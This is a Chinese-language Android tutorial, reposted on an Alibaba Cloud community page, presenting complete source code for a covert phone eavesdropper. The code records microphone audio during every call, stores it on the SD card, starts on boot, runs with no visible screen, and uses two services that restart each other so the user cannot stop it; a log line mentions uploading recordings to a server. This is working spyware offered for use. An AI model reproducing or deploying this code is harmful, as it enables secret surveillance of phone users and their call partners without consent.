簡單實現android中的電話竊聽器

來源:互聯網
上載者:User

標籤:android開發

想要實現電話監聽器,思路:

1.首先得通過程式在後台運行,所以需要做成服務。

2.如何?電話監聽呢,首先要獲得電話管理器,然後監聽電話的狀態。

3.通過電話的不同狀態,實現電話的監聽。

4.還得開機啟動。

5.做一個守護進程然你無法關閉。。

6.在主activity裡的oncreate()裡自動開啟,這個activity不需要頁面

看代碼實現:

package com.jrrjw.phonelistener;import java.io.File;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class SystemService2 extends Service {// 電話管理器private TelephonyManager tm;// 監聽器對象private MyListener listener;// 聲明錄音機private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent intent) {return null;}// 服務建立的時候調用的方法@Overridepublic void onCreate() {// 後台監聽電話的呼叫狀態。// 得到電話管理器tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);listener = new MyListener();tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);super.onCreate();}private class MyListener extends PhoneStateListener {// 當電話的呼叫狀態發生變化的時候調用的方法@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);try {switch (state) {case TelephonyManager.CALL_STATE_IDLE:// 空閑狀態。if (mediaRecorder != null) {// 8.停止捕獲mediaRecorder.stop();// 9.釋放資源mediaRecorder.release();mediaRecorder = null;System.out.println("錄製完畢,上傳檔案到伺服器。");}break;case TelephonyManager.CALL_STATE_RINGING:// 零響狀態。break;case TelephonyManager.CALL_STATE_OFFHOOK:// 通話狀態// 開始錄音// 1.執行個體化一個錄音機mediaRecorder = new MediaRecorder();// 2.指定錄音機的聲音源mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //這裡使用的是mic也可以其他的類型,這個自行google,因為歐美國家有法律規定錄音違法,所以這裡我就只錄自己發出的聲音// 3.設定錄製的檔案輸出的格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);// 4.指定錄音檔案的名稱File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis() + ".mp3");mediaRecorder.setOutputFile(file.getAbsolutePath());// 5.設定音訊編碼mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);// 6.準備開始錄音mediaRecorder.prepare();// 7.開始錄音mediaRecorder.start();break;}} catch (Exception e) {e.printStackTrace();}}}// 服務銷毀的時候調用的方法@Overridepublic void onDestroy() {super.onDestroy();// 取消電話的監聽System.out.println("ondestory");tm.listen(listener, PhoneStateListener.LISTEN_NONE);Intent i = new Intent(this, SystemService.class);startService(i);listener = null;}}
2.守護進程

package com.jrrjw.phonelistener;import java.io.File;import java.io.IOException;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;public class SystemService extends Service {// 電話管理器private TelephonyManager tm;// 監聽器對象private MyListener listener;// 聲明錄音機private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent intent) {return null;}// 服務建立的時候調用的方法@Overridepublic void onCreate() {// 後台監聽電話的呼叫狀態。// 得到電話管理器tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);listener = new MyListener();tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);super.onCreate();}private class MyListener extends PhoneStateListener {// 當電話的呼叫狀態發生變化的時候調用的方法@Overridepublic void onCallStateChanged(int state, String incomingNumber) {super.onCallStateChanged(state, incomingNumber);try {switch (state) {case TelephonyManager.CALL_STATE_IDLE:// 空閑狀態。if (mediaRecorder != null) {// 8.停止捕獲mediaRecorder.stop();// 9.釋放資源mediaRecorder.release();mediaRecorder = null;System.out.println("錄製完畢,上傳檔案到伺服器。");}break;case TelephonyManager.CALL_STATE_RINGING:// 零響狀態。break;case TelephonyManager.CALL_STATE_OFFHOOK:// 通話狀態// 開始錄音// 1.執行個體化一個錄音機mediaRecorder = new MediaRecorder();// 2.指定錄音機的聲音源mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);// 3.設定錄製的檔案輸出的格式mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);// 4.指定錄音檔案的名稱File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis() + ".mp3");mediaRecorder.setOutputFile(file.getAbsolutePath());// 5.設定音訊編碼mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);// 6.準備開始錄音mediaRecorder.prepare();// 7.開始錄音mediaRecorder.start();break;}} catch (Exception e) {e.printStackTrace();}}}// 服務銷毀的時候調用的方法@Overridepublic void onDestroy() {super.onDestroy();// 取消電話的監聽System.out.println("ondestory");Intent i = new Intent(this, SystemService2.class);startService(i);tm.listen(listener, PhoneStateListener.LISTEN_NONE);listener = null;}}


3.開機自啟動

package com.jrrjw.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Intent i = new Intent(context,SystemService.class);context.startService(i);}}

4.首頁面的顯示

package com.jrrjw.phonelistener;import com.jrrjw.phonelistener.R;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;import android.widget.Toast;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);boolean isRunning = ServiceUtils.isServicRunning(this,"com.jrrjw.phonelistener.SystemService");if (!isRunning) {Intent intent = new Intent(this, SystemService.class);startService(intent);}Toast.makeText(this, "System Service is running", Toast.LENGTH_SHORT).show();finish();}}

5.資訊清單檔的內容

<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android"    package="com.jrrjw.phonelistener"    android:versionCode="1"    android:versionName="1.0" >    <uses-sdk        android:minSdkVersion="8"        android:targetSdkVersion="17" />    <uses-permission android:name="android.permission.READ_PHONE_STATE" />    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />    <uses-permission android:name="android.permission.RECORD_AUDIO" />    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    <application        android:allowBackup="true"        android:icon="@drawable/ic_launcher"        android:label="@string/app_name"        android:theme="@style/AppTheme" >        <activity            android:name="com.jrrjw.phonelistener.MainActivity"            android:label="@string/app_name" >            <intent-filter>                <action android:name="android.intent.action.MAIN" />                <category android:name="android.intent.category.LAUNCHER" />            </intent-filter>        </activity>        <service android:name="com.jrrjw.phonelistener.SystemService" >        </service>        <service android:name="com.jrrjw.phonelistener.SystemService2" >        </service>        <receiver android:name="com.jrrjw.phonelistener.BootReceiver" >            <intent-filter>                <action android:name="android.intent.action.BOOT_COMPLETED" />            </intent-filter>        </receiver>    </application></manifest>

6.用到的工具類  判斷當前服務是否運行

package com.jrrjw.phonelistener;import java.util.List;import android.app.ActivityManager;import android.app.ActivityManager.RunningServiceInfo;import android.content.Context;public class ServiceUtils {public static boolean isServicRunning(Context context, String serviceName) {ActivityManager am = (ActivityManager) context.getSystemService(context.ACTIVITY_SERVICE);List<RunningServiceInfo> infos = am.getRunningServices(100);for (RunningServiceInfo runningServiceInfo : infos) {String serviceN = runningServiceInfo.service.getClassName();if (serviceName.equals(serviceN)) {return true;}}return false;}}
好了,這樣就實現了簡單的電話監聽器,一旦你電話結束後,監聽器就會把錄好的聲音以時間的形式儲存到你的sd卡,這裡我沒有判斷sd卡是否存在,只是一個demo


簡單實現android中的電話竊聽器

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.